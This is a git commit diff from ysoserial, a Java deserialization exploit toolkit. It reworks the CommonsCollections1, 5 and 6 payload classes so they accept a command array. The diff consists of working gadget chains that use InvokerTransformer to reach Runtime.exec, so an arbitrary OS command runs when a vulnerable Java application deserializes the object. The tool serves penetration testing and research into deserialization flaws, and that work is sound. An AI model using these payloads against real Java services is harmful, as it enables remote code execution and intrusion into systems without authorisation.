fixed commons 1,5,6

This commit is contained in:
Chris Frohoff
2017-09-23 18:59:07 -04:00
parent 2ebc617b31
commit 61c8c124ed
3 changed files with 6 additions and 9 deletions
@@ -1,5 +1,6 @@
package ysoserial.payloads;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
@@ -44,10 +45,9 @@ import ysoserial.payloads.util.Reflections;
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public class CommonsCollections1 extends ExtendedObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
public InvocationHandler getObject(final String[] command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
@@ -61,7 +61,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new Class[] { String[].class }, new Object[] { command }),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
@@ -57,7 +57,6 @@ https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4e
public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String[] command) throws Exception {
final String[] execArgs = command.clone();
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
@@ -71,7 +70,7 @@ public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValue
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new Class[] { String[].class }, new Object[] { command }),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
@@ -38,8 +38,6 @@ import java.util.Map;
public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
public Serializable getObject(final String[] command) throws Exception {
final String[] execArgs = command.clone();
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
@@ -49,7 +47,7 @@ public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new Class[] { String[].class }, new Object[] { command }),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);